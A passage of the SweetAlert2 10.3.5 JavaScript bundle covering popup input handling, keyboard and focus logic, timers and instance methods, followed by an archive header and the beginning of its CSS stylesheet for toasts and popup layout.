  var fixScrollContainer = function fixScrollContainer(container, scrollbarPadding, initialBodyOverflow) {
    iOSfix();
    IEfix();

    if (scrollbarPadding && initialBodyOverflow !== 'hidden') {
      fixScrollbar();
    } // sweetalert2/issues/1247


    setTimeout(function () {
      container.scrollTop = 0;
    });
  };

  var addClasses$1 = function addClasses(container, popup, params) {
    addClass(container, params.showClass.backdrop); // the workaround with setting/unsetting opacity is needed for #2019 and 2059

    popup.style.setProperty('opacity', '0', 'important');
    show(popup);
    setTimeout(function () {
      // Animate popup right after showing it
      addClass(popup, params.showClass.popup); // and remove the opacity workaround

      popup.style.removeProperty('opacity');
    }, SHOW_CLASS_TIMEOUT); // 10ms in order to fix #2062

    addClass([document.documentElement, document.body], swalClasses.shown);

    if (params.heightAuto && params.backdrop && !params.toast) {
      addClass([document.documentElement, document.body], swalClasses['height-auto']);
    }
  };

  var handleInputOptionsAndValue = function handleInputOptionsAndValue(instance, params) {
    if (params.input === 'select' || params.input === 'radio') {
      handleInputOptions(instance, params);
    } else if (['text', 'email', 'number', 'tel', 'textarea'].indexOf(params.input) !== -1 && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
      handleInputValue(instance, params);
    }
  };
  var getInputValue = function getInputValue(instance, innerParams) {
    var input = instance.getInput();

    if (!input) {
      return null;
    }

    switch (innerParams.input) {
      case 'checkbox':
        return getCheckboxValue(input);

      case 'radio':
        return getRadioValue(input);

      case 'file':
        return getFileValue(input);

      default:
        return innerParams.inputAutoTrim ? input.value.trim() : input.value;
    }
  };

  var getCheckboxValue = function getCheckboxValue(input) {
    return input.checked ? 1 : 0;
  };

  var getRadioValue = function getRadioValue(input) {
    return input.checked ? input.value : null;
  };

  var getFileValue = function getFileValue(input) {
    return input.files.length ? input.getAttribute('multiple') !== null ? input.files : input.files[0] : null;
  };

  var handleInputOptions = function handleInputOptions(instance, params) {
    var content = getContent();

    var processInputOptions = function processInputOptions(inputOptions) {
      return populateInputOptions[params.input](content, formatInputOptions(inputOptions), params);
    };

    if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
      showLoading();
      asPromise(params.inputOptions).then(function (inputOptions) {
        instance.hideLoading();
        processInputOptions(inputOptions);
      });
    } else if (_typeof(params.inputOptions) === 'object') {
      processInputOptions(params.inputOptions);
    } else {
      error("Unexpected type of inputOptions! Expected object, Map or Promise, got ".concat(_typeof(params.inputOptions)));
    }
  };

  var handleInputValue = function handleInputValue(instance, params) {
    var input = instance.getInput();
    hide(input);
    asPromise(params.inputValue).then(function (inputValue) {
      input.value = params.input === 'number' ? parseFloat(inputValue) || 0 : "".concat(inputValue);
      show(input);
      input.focus();
      instance.hideLoading();
    })["catch"](function (err) {
      error("Error in inputValue promise: ".concat(err));
      input.value = '';
      show(input);
      input.focus();
      instance.hideLoading();
    });
  };

  var populateInputOptions = {
    select: function select(content, inputOptions, params) {
      var select = getChildByClass(content, swalClasses.select);

      var renderOption = function renderOption(parent, optionLabel, optionValue) {
        var option = document.createElement('option');
        option.value = optionValue;
        setInnerHtml(option, optionLabel);

        if (params.inputValue.toString() === optionValue.toString()) {
          option.selected = true;
        }

        parent.appendChild(option);
      };

      inputOptions.forEach(function (inputOption) {
        var optionValue = inputOption[0];
        var optionLabel = inputOption[1]; // <optgroup> spec:
        // https://www.w3.org/TR/html401/interact/forms.html#h-17.6
        // "...all OPTGROUP elements must be specified directly within a SELECT element (i.e., groups may not be nested)..."
        // check whether this is a <optgroup>

        if (Array.isArray(optionLabel)) {
          // if it is an array, then it is an <optgroup>
          var optgroup = document.createElement('optgroup');
          optgroup.label = optionValue;
          optgroup.disabled = false; // not configurable for now

          select.appendChild(optgroup);
          optionLabel.forEach(function (o) {
            return renderOption(optgroup, o[1], o[0]);
          });
        } else {
          // case of <option>
          renderOption(select, optionLabel, optionValue);
        }
      });
      select.focus();
    },
    radio: function radio(content, inputOptions, params) {
      var radio = getChildByClass(content, swalClasses.radio);
      inputOptions.forEach(function (inputOption) {
        var radioValue = inputOption[0];
        var radioLabel = inputOption[1];
        var radioInput = document.createElement('input');
        var radioLabelElement = document.createElement('label');
        radioInput.type = 'radio';
        radioInput.name = swalClasses.radio;
        radioInput.value = radioValue;

        if (params.inputValue.toString() === radioValue.toString()) {
          radioInput.checked = true;
        }

        var label = document.createElement('span');
        setInnerHtml(label, radioLabel);
        label.className = swalClasses.label;
        radioLabelElement.appendChild(radioInput);
        radioLabelElement.appendChild(label);
        radio.appendChild(radioLabelElement);
      });
      var radios = radio.querySelectorAll('input');

      if (radios.length) {
        radios[0].focus();
      }
    }
  };
  /**
   * Converts `inputOptions` into an array of `[value, label]`s
   * @param inputOptions
   */

  var formatInputOptions = function formatInputOptions(inputOptions) {
    var result = [];

    if (typeof Map !== 'undefined' && inputOptions instanceof Map) {
      inputOptions.forEach(function (value, key) {
        var valueFormatted = value;

        if (_typeof(valueFormatted) === 'object') {
          // case of <optgroup>
          valueFormatted = formatInputOptions(valueFormatted);
        }

        result.push([key, valueFormatted]);
      });
    } else {
      Object.keys(inputOptions).forEach(function (key) {
        var valueFormatted = inputOptions[key];

        if (_typeof(valueFormatted) === 'object') {
          // case of <optgroup>
          valueFormatted = formatInputOptions(valueFormatted);
        }

        result.push([key, valueFormatted]);
      });
    }

    return result;
  };

  var handleConfirmButtonClick = function handleConfirmButtonClick(instance, innerParams) {
    instance.disableButtons();

    if (innerParams.input) {
      handleConfirmWithInput(instance, innerParams);
    } else {
      confirm(instance, innerParams, true);
    }
  };
  var handleDenyButtonClick = function handleDenyButtonClick(instance) {
    instance.disableButtons(); // here we could add preDeny in future, if needed

    deny(instance);
  };
  var handleCancelButtonClick = function handleCancelButtonClick(instance, dismissWith) {
    instance.disableButtons();
    dismissWith(DismissReason.cancel);
  };

  var handleConfirmWithInput = function handleConfirmWithInput(instance, innerParams) {
    var inputValue = getInputValue(instance, innerParams);

    if (innerParams.inputValidator) {
      instance.disableInput();
      var validationPromise = Promise.resolve().then(function () {
        return asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage));
      });
      validationPromise.then(function (validationMessage) {
        instance.enableButtons();
        instance.enableInput();

        if (validationMessage) {
          instance.showValidationMessage(validationMessage);
        } else {
          confirm(instance, innerParams, inputValue);
        }
      });
    } else if (!instance.getInput().checkValidity()) {
      instance.enableButtons();
      instance.showValidationMessage(innerParams.validationMessage);
    } else {
      confirm(instance, innerParams, inputValue);
    }
  };

  var deny = function deny(instance) {
    instance.closePopup({
      isDenied: true,
      value: false
    });
  };

  var succeedWith = function succeedWith(instance, value) {
    instance.closePopup({
      isConfirmed: true,
      value: value
    });
  };

  var confirm = function confirm(instance, innerParams, value) {
    if (innerParams.showLoaderOnConfirm) {
      showLoading(); // TODO: make showLoading an *instance* method
    }

    if (innerParams.preConfirm) {
      instance.resetValidationMessage();
      var preConfirmPromise = Promise.resolve().then(function () {
        return asPromise(innerParams.preConfirm(value, innerParams.validationMessage));
      });
      preConfirmPromise.then(function (preConfirmValue) {
        if (isVisible(getValidationMessage()) || preConfirmValue === false) {
          instance.hideLoading();
        } else {
          succeedWith(instance, typeof preConfirmValue === 'undefined' ? value : preConfirmValue);
        }
      });
    } else {
      succeedWith(instance, value);
    }
  };

  var addKeydownHandler = function addKeydownHandler(instance, globalState, innerParams, dismissWith) {
    if (globalState.keydownTarget && globalState.keydownHandlerAdded) {
      globalState.keydownTarget.removeEventListener('keydown', globalState.keydownHandler, {
        capture: globalState.keydownListenerCapture
      });
      globalState.keydownHandlerAdded = false;
    }

    if (!innerParams.toast) {
      globalState.keydownHandler = function (e) {
        return keydownHandler(instance, e, dismissWith);
      };

      globalState.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup();
      globalState.keydownListenerCapture = innerParams.keydownListenerCapture;
      globalState.keydownTarget.addEventListener('keydown', globalState.keydownHandler, {
        capture: globalState.keydownListenerCapture
      });
      globalState.keydownHandlerAdded = true;
    }
  }; // Focus handling

  var setFocus = function setFocus(innerParams, index, increment) {
    var focusableElements = getFocusableElements(); // search for visible elements and select the next possible match

    for (var i = 0; i < focusableElements.length; i++) {
      index = index + increment; // rollover to first item

      if (index === focusableElements.length) {
        index = 0; // go to last item
      } else if (index === -1) {
        index = focusableElements.length - 1;
      }

      return focusableElements[index].focus();
    } // no visible focusable elements, focus the popup


    getPopup().focus();
  };
  var arrowKeysNextButton = ['ArrowRight', 'ArrowDown', 'Right', 'Down' // IE11
  ];
  var arrowKeysPreviousButton = ['ArrowLeft', 'ArrowUp', 'Left', 'Up' // IE11
  ];
  var escKeys = ['Escape', 'Esc' // IE11
  ];

  var keydownHandler = function keydownHandler(instance, e, dismissWith) {
    var innerParams = privateProps.innerParams.get(instance);

    if (innerParams.stopKeydownPropagation) {
      e.stopPropagation();
    } // ENTER


    if (e.key === 'Enter') {
      handleEnter(instance, e, innerParams); // TAB
    } else if (e.key === 'Tab') {
      handleTab(e, innerParams); // ARROWS - switch focus between buttons
    } else if ([].concat(arrowKeysNextButton, arrowKeysPreviousButton).indexOf(e.key) !== -1) {
      handleArrows(e.key); // ESC
    } else if (escKeys.indexOf(e.key) !== -1) {
      handleEsc(e, innerParams, dismissWith);
    }
  };

  var handleEnter = function handleEnter(instance, e, innerParams) {
    // #720 #721
    if (e.isComposing) {
      return;
    }

    if (e.target && instance.getInput() && e.target.outerHTML === instance.getInput().outerHTML) {
      if (['textarea', 'file'].indexOf(innerParams.input) !== -1) {
        return; // do not submit
      }

      clickConfirm();
      e.preventDefault();
    }
  };

  var handleTab = function handleTab(e, innerParams) {
    var targetElement = e.target;
    var focusableElements = getFocusableElements();
    var btnIndex = -1;

    for (var i = 0; i < focusableElements.length; i++) {
      if (targetElement === focusableElements[i]) {
        btnIndex = i;
        break;
      }
    }

    if (!e.shiftKey) {
      // Cycle to the next button
      setFocus(innerParams, btnIndex, 1);
    } else {
      // Cycle to the prev button
      setFocus(innerParams, btnIndex, -1);
    }

    e.stopPropagation();
    e.preventDefault();
  };

  var handleArrows = function handleArrows(key) {
    var confirmButton = getConfirmButton();
    var denyButton = getDenyButton();
    var cancelButton = getCancelButton();

    if (!([confirmButton, denyButton, cancelButton].indexOf(document.activeElement) !== -1)) {
      return;
    }

    var sibling = arrowKeysNextButton.indexOf(key) !== -1 ? 'nextElementSibling' : 'previousElementSibling';
    var buttonToFocus = document.activeElement[sibling];

    if (buttonToFocus) {
      buttonToFocus.focus();
    }
  };

  var handleEsc = function handleEsc(e, innerParams, dismissWith) {
    if (callIfFunction(innerParams.allowEscapeKey)) {
      e.preventDefault();
      dismissWith(DismissReason.esc);
    }
  };

  var handlePopupClick = function handlePopupClick(instance, domCache, dismissWith) {
    var innerParams = privateProps.innerParams.get(instance);

    if (innerParams.toast) {
      handleToastClick(instance, domCache, dismissWith);
    } else {
      // Ignore click events that had mousedown on the popup but mouseup on the container
      // This can happen when the user drags a slider
      handleModalMousedown(domCache); // Ignore click events that had mousedown on the container but mouseup on the popup

      handleContainerMousedown(domCache);
      handleModalClick(instance, domCache, dismissWith);
    }
  };

  var handleToastClick = function handleToastClick(instance, domCache, dismissWith) {
    // Closing toast by internal click
    domCache.popup.onclick = function () {
      var innerParams = privateProps.innerParams.get(instance);

      if (innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton || innerParams.input) {
        return;
      }

      dismissWith(DismissReason.close);
    };
  };

  var ignoreOutsideClick = false;

  var handleModalMousedown = function handleModalMousedown(domCache) {
    domCache.popup.onmousedown = function () {
      domCache.container.onmouseup = function (e) {
        domCache.container.onmouseup = undefined; // We only check if the mouseup target is the container because usually it doesn't
        // have any other direct children aside of the popup

        if (e.target === domCache.container) {
          ignoreOutsideClick = true;
        }
      };
    };
  };

  var handleContainerMousedown = function handleContainerMousedown(domCache) {
    domCache.container.onmousedown = function () {
      domCache.popup.onmouseup = function (e) {
        domCache.popup.onmouseup = undefined; // We also need to check if the mouseup target is a child of the popup

        if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
          ignoreOutsideClick = true;
        }
      };
    };
  };

  var handleModalClick = function handleModalClick(instance, domCache, dismissWith) {
    domCache.container.onclick = function (e) {
      var innerParams = privateProps.innerParams.get(instance);

      if (ignoreOutsideClick) {
        ignoreOutsideClick = false;
        return;
      }

      if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
        dismissWith(DismissReason.backdrop);
      }
    };
  };

  function _main(userParams) {
    showWarningsForParams(userParams);

    if (globalState.currentInstance) {
      globalState.currentInstance._destroy();
    }

    globalState.currentInstance = this;
    var innerParams = prepareParams(userParams);
    setParameters(innerParams);
    Object.freeze(innerParams); // clear the previous timer

    if (globalState.timeout) {
      globalState.timeout.stop();
      delete globalState.timeout;
    } // clear the restore focus timeout


    clearTimeout(globalState.restoreFocusTimeout);
    var domCache = populateDomCache(this);
    render(this, innerParams);
    privateProps.innerParams.set(this, innerParams);
    return swalPromise(this, domCache, innerParams);
  }

  var prepareParams = function prepareParams(userParams) {
    var showClass = _extends({}, defaultParams.showClass, userParams.showClass);

    var hideClass = _extends({}, defaultParams.hideClass, userParams.hideClass);

    var params = _extends({}, defaultParams, userParams);

    params.showClass = showClass;
    params.hideClass = hideClass; // @deprecated

    if (userParams.animation === false) {
      params.showClass = {
        popup: 'swal2-noanimation',
        backdrop: 'swal2-noanimation'
      };
      params.hideClass = {};
    }

    return params;
  };

  var swalPromise = function swalPromise(instance, domCache, innerParams) {
    return new Promise(function (resolve) {
      // functions to handle all closings/dismissals
      var dismissWith = function dismissWith(dismiss) {
        instance.closePopup({
          isDismissed: true,
          dismiss: dismiss
        });
      };

      privateMethods.swalPromiseResolve.set(instance, resolve);

      domCache.confirmButton.onclick = function () {
        return handleConfirmButtonClick(instance, innerParams);
      };

      domCache.denyButton.onclick = function () {
        return handleDenyButtonClick(instance);
      };

      domCache.cancelButton.onclick = function () {
        return handleCancelButtonClick(instance, dismissWith);
      };

      domCache.closeButton.onclick = function () {
        return dismissWith(DismissReason.close);
      };

      handlePopupClick(instance, domCache, dismissWith);
      addKeydownHandler(instance, globalState, innerParams, dismissWith);

      if (innerParams.toast && (innerParams.input || innerParams.footer || innerParams.showCloseButton)) {
        addClass(document.body, swalClasses['toast-column']);
      } else {
        removeClass(document.body, swalClasses['toast-column']);
      }

      handleInputOptionsAndValue(instance, innerParams);
      openPopup(innerParams);
      setupTimer(globalState, innerParams, dismissWith);
      initFocus(domCache, innerParams); // Scroll container to top on open (#1247, #1946)

      setTimeout(function () {
        domCache.container.scrollTop = 0;
      });
    });
  };

  var populateDomCache = function populateDomCache(instance) {
    var domCache = {
      popup: getPopup(),
      container: getContainer(),
      content: getContent(),
      actions: getActions(),
      confirmButton: getConfirmButton(),
      denyButton: getDenyButton(),
      cancelButton: getCancelButton(),
      loader: getLoader(),
      closeButton: getCloseButton(),
      validationMessage: getValidationMessage(),
      progressSteps: getProgressSteps()
    };
    privateProps.domCache.set(instance, domCache);
    return domCache;
  };

  var setupTimer = function setupTimer(globalState$$1, innerParams, dismissWith) {
    var timerProgressBar = getTimerProgressBar();
    hide(timerProgressBar);

    if (innerParams.timer) {
      globalState$$1.timeout = new Timer(function () {
        dismissWith('timer');
        delete globalState$$1.timeout;
      }, innerParams.timer);

      if (innerParams.timerProgressBar) {
        show(timerProgressBar);
        setTimeout(function () {
          if (globalState$$1.timeout.running) {
            // timer can be already stopped at this point
            animateTimerProgressBar(innerParams.timer);
          }
        });
      }
    }
  };

  var initFocus = function initFocus(domCache, innerParams) {
    if (innerParams.toast) {
      return;
    }

    if (!callIfFunction(innerParams.allowEnterKey)) {
      return blurActiveElement();
    }

    if (!focusButton(domCache, innerParams)) {
      setFocus(innerParams, -1, 1);
    }
  };

  var focusButton = function focusButton(domCache, innerParams) {
    if (innerParams.focusDeny && isVisible(domCache.denyButton)) {
      domCache.denyButton.focus();
      return true;
    }

    if (innerParams.focusCancel && isVisible(domCache.cancelButton)) {
      domCache.cancelButton.focus();
      return true;
    }

    if (innerParams.focusConfirm && isVisible(domCache.confirmButton)) {
      domCache.confirmButton.focus();
      return true;
    }

    return false;
  };

  var blurActiveElement = function blurActiveElement() {
    if (document.activeElement && typeof document.activeElement.blur === 'function') {
      document.activeElement.blur();
    }
  };

  /**
   * Updates popup parameters.
   */

  function update(params) {
    var popup = getPopup();
    var innerParams = privateProps.innerParams.get(this);

    if (!popup || hasClass(popup, innerParams.hideClass.popup)) {
      return warn("You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.");
    }

    var validUpdatableParams = {}; // assign valid params from `params` to `defaults`

    Object.keys(params).forEach(function (param) {
      if (Swal.isUpdatableParameter(param)) {
        validUpdatableParams[param] = params[param];
      } else {
        warn("Invalid parameter to update: \"".concat(param, "\". Updatable params are listed here: https://github.com/sweetalert2/sweetalert2/blob/master/src/utils/params.js\n\nIf you think this parameter should be updatable, request it here: https://github.com/sweetalert2/sweetalert2/issues/new?template=02_feature_request.md"));
      }
    });

    var updatedParams = _extends({}, innerParams, validUpdatableParams);

    render(this, updatedParams);
    privateProps.innerParams.set(this, updatedParams);
    Object.defineProperties(this, {
      params: {
        value: _extends({}, this.params, params),
        writable: false,
        enumerable: true
      }
    });
  }

  function _destroy() {
    var domCache = privateProps.domCache.get(this);
    var innerParams = privateProps.innerParams.get(this);

    if (!innerParams) {
      return; // This instance has already been destroyed
    } // Check if there is another Swal closing


    if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
      globalState.swalCloseEventFinishedCallback();
      delete globalState.swalCloseEventFinishedCallback;
    } // Check if there is a swal disposal defer timer


    if (globalState.deferDisposalTimer) {
      clearTimeout(globalState.deferDisposalTimer);
      delete globalState.deferDisposalTimer;
    }

    runDidDestroy(innerParams);
    disposeSwal(this);
  }

  var runDidDestroy = function runDidDestroy(innerParams) {
    if (typeof innerParams.didDestroy === 'function') {
      innerParams.didDestroy();
    } else if (typeof innerParams.onDestroy === 'function') {
      innerParams.onDestroy(); // @deprecated
    }
  };

  var disposeSwal = function disposeSwal(instance) {
    // Unset this.params so GC will dispose it (#1569)
    delete instance.params; // Unset globalState props so GC will dispose globalState (#1569)

    delete globalState.keydownHandler;
    delete globalState.keydownTarget; // Unset WeakMaps so GC will be able to dispose them (#1569)

    unsetWeakMaps(privateProps);
    unsetWeakMaps(privateMethods);
  };

  var unsetWeakMaps = function unsetWeakMaps(obj) {
    for (var i in obj) {
      obj[i] = new WeakMap();
    }
  };



  var instanceMethods = /*#__PURE__*/Object.freeze({
    hideLoading: hideLoading,
    disableLoading: hideLoading,
    getInput: getInput$1,
    close: close,
    closePopup: close,
    closeModal: close,
    closeToast: close,
    enableButtons: enableButtons,
    disableButtons: disableButtons,
    enableInput: enableInput,
    disableInput: disableInput,
    showValidationMessage: showValidationMessage,
    resetValidationMessage: resetValidationMessage$1,
    getProgressSteps: getProgressSteps$1,
    _main: _main,
    update: update,
    _destroy: _destroy
  });

  var currentInstance;

  var SweetAlert = /*#__PURE__*/function () {
    function SweetAlert() {
      _classCallCheck(this, SweetAlert);

      // Prevent run in Node env
      if (typeof window === 'undefined') {
        return;
      } // Check for the existence of Promise


      if (typeof Promise === 'undefined') {
        error('This package requires a Promise library, please include a shim to enable it in this browser (See: https://github.com/sweetalert2/sweetalert2/wiki/Migration-from-SweetAlert-to-SweetAlert2#1-ie-support)');
      }

      currentInstance = this;

      for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
        args[_key] = arguments[_key];
      }

      var outerParams = Object.freeze(this.constructor.argsToParams(args));
      Object.defineProperties(this, {
        params: {
          value: outerParams,
          writable: false,
          enumerable: true,
          configurable: true
        }
      });

      var promise = this._main(this.params);

      privateProps.promise.set(this, promise);
    } // `catch` cannot be the name of a module export, so we define our thenable methods here instead


    _createClass(SweetAlert, [{
      key: "then",
      value: function then(onFulfilled) {
        var promise = privateProps.promise.get(this);
        return promise.then(onFulfilled);
      }
    }, {
      key: "finally",
      value: function _finally(onFinally) {
        var promise = privateProps.promise.get(this);
        return promise["finally"](onFinally);
      }
    }]);

    return SweetAlert;
  }(); // Assign instance methods from src/instanceMethods/*.js to prototype


  _extends(SweetAlert.prototype, instanceMethods); // Assign static methods from src/staticMethods/*.js to constructor


  _extends(SweetAlert, staticMethods); // Proxy to instance methods to constructor, for now, for backwards compatibility


  Object.keys(instanceMethods).forEach(function (key) {
    SweetAlert[key] = function () {
      if (currentInstance) {
        var _currentInstance;

        return (_currentInstance = currentInstance)[key].apply(_currentInstance, arguments);
      }
    };
  });
  SweetAlert.DismissReason = DismissReason;
  SweetAlert.version = '10.3.5';

  var Swal = SweetAlert;
  Swal["default"] = Swal;

  return Swal;

}));
if (typeof this !== 'undefined' && this.Sweetalert2){  this.swal = this.sweetAlert = this.Swal = this.SweetAlert = this.Sweetalert2}
sweetalert2.css000064400000072127151735567630007552 0ustar00.swal2-popup.swal2-toast {
  flex-direction: row;
  align-items: center;
  width: auto;
  padding: 0.625em;
  overflow-y: hidden;
  background: #fff;
  box-shadow: 0 0 0.625em #d9d9d9;
}
.swal2-popup.swal2-toast .swal2-header {
  flex-direction: row;
  padding: 0;
}
.swal2-popup.swal2-toast .swal2-title {
  flex-grow: 1;
  justify-content: flex-start;
  margin: 0 0.6em;
  font-size: 1em;
}
.swal2-popup.swal2-toast .swal2-footer {
  margin: 0.5em 0 0;
  padding: 0.5em 0 0;
  font-size: 0.8em;
}
.swal2-popup.swal2-toast .swal2-close {
  position: static;
  width: 0.8em;
  height: 0.8em;
  line-height: 0.8;
}
.swal2-popup.swal2-toast .swal2-content {
  justify-content: flex-start;
  padding: 0;
  font-size: 1em;
}
.swal2-popup.swal2-toast .swal2-icon {
  width: 2em;
  min-width: 2em;
  height: 2em;
  margin: 0;
}
.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content {
  display: flex;
  align-items: center;
  font-size: 1.8em;
  font-weight: bold;
}
@media all and (-ms-high-contrast: none), (-ms-high-contrast: active) {
  .swal2-popup.swal2-toast .swal2-icon .swal2-icon-content {
    font-size: 0.25em;
  }
}
.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring {
  width: 2em;
  height: 2em;
}
.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line] {
  top: 0.875em;
  width: 1.375em;
}
.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left] {
  left: 0.3125em;
}
.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right] {
  right: 0.3125em;
}
.swal2-popup.swal2-toast .swal2-actions {
  flex-basis: auto !important;
  width: auto;
  height: auto;
  margin: 0 0.3125em;
  padding: 0;
}
.swal2-popup.swal2-toast .swal2-styled {
  margin: 0 0.3125em;
  padding: 0.3125em 0.625em;
  font-size: 1em;
}
.swal2-popup.swal2-toast .swal2-styled:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px rgba(50, 100, 150, 0.4);
}
.swal2-popup.swal2-toast .swal2-success {
  border-color: #a5dc86;
}
.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line] {
  position: absolute;
  width: 1.6em;
  height: 3em;
  transform: rotate(45deg);
  border-radius: 50%;
}
.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left] {
  top: -0.8em;
  left: -0.5em;
  transform: rotate(-45deg);
  transform-origin: 2em 2em;
  border-radius: 4em 0 0 4em;
}
.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right] {
  top: -0.25em;
  left: 0.9375em;
  transform-origin: 0 1.5em;
  border-radius: 0 4em 4em 0;
}
.swal2-popup.swal2-toast .swal2-success .swal2-success-ring {
  width: 2em;
  height: 2em;
}
.swal2-popup.swal2-toast .swal2-success .swal2-success-fix {
  top: 0;
  left: 0.4375em;
  width: 0.4375em;
  height: 2.6875em;
}
.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line] {
  height: 0.3125em;
}
.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip] {
  top: 1.125em;
  left: 0.1875em;
  width: 0.75em;
}
.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long] {
  top: 0.9375em;
  right: 0.1875em;
  width: 1.375em;
}
.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip {
  -webkit-animation: swal2-toast-animate-success-line-tip 0.75s;
          animation: swal2-toast-animate-success-line-tip 0.75s;
}
.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long {
  -webkit-animation: swal2-toast-animate-success-line-long 0.75s;
          animation: swal2-toast-animate-success-line-long 0.75s;
}
.swal2-popup.swal2-toast.swal2-show {
  -webkit-animation: swal2-toast-show 0.5s;
          animation: swal2-toast-show 0.5s;
}
.swal2-popup.swal2-toast.swal2-hide {
  -webkit-animation: swal2-toast-hide 0.1s forwards;
          animation: swal2-toast-hide 0.1s forwards;
}

.swal2-container {
  display: flex;
  position: fixed;
  z-index: 1060;
  top: 0;
  right: 0;
  bottom: 0;
  left: 0;
  flex-direction: row;
  align-items: center;
  justify-content: center;
  padding: 0.625em;
  overflow-x: hidden;
  transition: background-color 0.1s;
  -webkit-overflow-scrolling: touch;
}
.swal2-container.swal2-backdrop-show, .swal2-container.swal2-noanimation {
  background: rgba(0, 0, 0, 0.4);
}
.swal2-container.swal2-backdrop-hide {
  background: transparent !important;
}
.swal2-container.swal2-top {
  align-items: flex-start;
}
.swal2-container.swal2-top-start, .swal2-container.swal2-top-left {
  align-items: flex-start;
  justify-content: flex-start;
}
.swal2-container.swal2-top-end, .swal2-container.swal2-top-right {
  align-items: flex-start;
  justify-content: flex-end;
}
.swal2-container.swal2-center {
  align-items: center;
}
.swal2-container.swal2-center-start, .swal2-container.swal2-center-left {
  align-items: center;
  justify-content: flex-start;
}
.swal2-container.swal2-center-end, .swal2-container.swal2-center-right {
  align-items: center;
  justify-content: flex-end;
}
.swal2-container.swal2-bottom {
  align-items: flex-end;
}
.swal2-container.swal2-bottom-start, .swal2-container.swal2-bottom-left {
  align-items: flex-end;
  justify-content: flex-start;
}
.swal2-container.swal2-bottom-end, .swal2-container.swal2-bottom-right {
  align-items: flex-end;
  justify-content: flex-end;
}
.swal2-container.swal2-bottom > :first-child, .swal2-container.swal2-bottom-start > :first-child, .swal2-container.swal2-bottom-left > :first-child, .swal2-container.swal2-bottom-end > :first-child, .swal2-container.swal2-bottom-right > :first-child {
  margin-top: auto;
}
.swal2-container.swal2-grow-fullscreen > .swal2-modal {
  display: flex !important;
  flex: 1;
  align-self: stretch;
  justify-content: center;
}
.swal2-container.swal2-grow-row > .swal2-modal {
  display: flex !important;
  flex: 1;
  align-content: center;
  justify-content: center;
}
.swal2-container.swal2-grow-column {
  flex: 1;
  flex-direction: column;
}
.swal2-container.swal2-grow-column.swal2-top, .swal2-container.swal2-grow-column.swal2-center, .swal2-container.swal2-grow-column.swal2-bottom {
  align-items: center;
}
.swal2-container.swal2-grow-column.swal2-top-start, .swal2-container.swal2-grow-column.swal2-center-start, .swal2-container.swal2-grow-column.swal2-bottom-start, .swal2-container.swal2-grow-column.swal2-top-left, .swal2-container.swal2-grow-column.swal2-center-left, .swal2-container.swal2-grow-column.swal2-bottom-left {
  align-items: flex-start;
}
.swal2-container.swal2-grow-column.swal2-top-end, .swal2-container.swal2-grow-column.swal2-center-end, .swal2-container.swal2-grow-column.swal2-bottom-end, .swal2-container.swal2-grow-column.swal2-top-right, .swal2-container.swal2-grow-column.swal2-center-right, .swal2-container.swal2-grow-column.swal2-bottom-right {
  align-items: flex-end;
}
.swal2-container.swal2-grow-column > .swal2-modal {
  display: flex !important;
  flex: 1;
  align-content: center;
  justify-content: center;
}
.swal2-container.swal2-no-transition {
  transition: none !important;
}
.swal2-container:not(.swal2-top):not(.swal2-top-start):not(.swal2-top-end):not(.swal2-top-left):not(.swal2-top-right):not(.swal2-center-start):not(.swal2-center-end):not(.swal2-center-left):not(.swal2-center-right):not(.swal2-bottom):not(.swal2-bottom-start):not(.swal2-bottom-end):not(.swal2-bottom-left):not(.swal2-bottom-right):not(.swal2-grow-fullscreen) > .swal2-modal {
  margin: auto;
}
@media all and (-ms-high-contrast: none), (-ms-high-contrast: active) {
  .swal2-container .swal2-modal {
    margin: 0 !important;
  }
}

.swal2-popup {
  display: none;
  position: relative;
  box-sizing: border-box;
  flex-direction: column;
  justify-content: center;
  width: 32em;
  max-width: 100%;
  padding: 1.25em;
  border: none;
  border-radius: 0.3125em;
  background: #fff;
  font-family: inherit;
  font-size: 1rem;
}
.swal2-popup:focus {
  outline: none;
}
.swal2-popup.swal2-loading {
  overflow-y: hidden;
}

.swal2-header {
  display: flex;
  flex-direction: column;
  align-items: center;
  padding: 0 1.8em;
}

.swal2-title {
  position: relative;
  max-width: 100%;
  margin: 0 0 0.4em;
  padding: 0;
  color: #595959;
  font-size: 1.875em;
  font-weight: 600;
  text-align: center;
  text-transform: none;
  word-wrap: break-word;
}

.swal2-actions {
  display: flex;
  z-index: 1;
  box-sizing: border-box;
  flex-wrap: wrap;
  align-items: center;
  justify-content: center;
  width: 100%;
  margin: 1.25em auto 0;
  padding: 0 1.6em;
}
.swal2-actions:not(.swal2-loading) .swal2-styled[disabled] {
  opacity: 0.4;
}
.swal2-actions:not(.swal2-loading) .swal2-styled:hover {
  background-image: linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1));
}
.swal2-actions:not(.swal2-loading) .swal2-styled:active {
  background-image: linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2));
}

.swal2-loader {
  display: none;
  align-items: center;
  justify-content: center;
  width: 2.2em;
  height: 2.2em;
  margin: 0 1.875em;
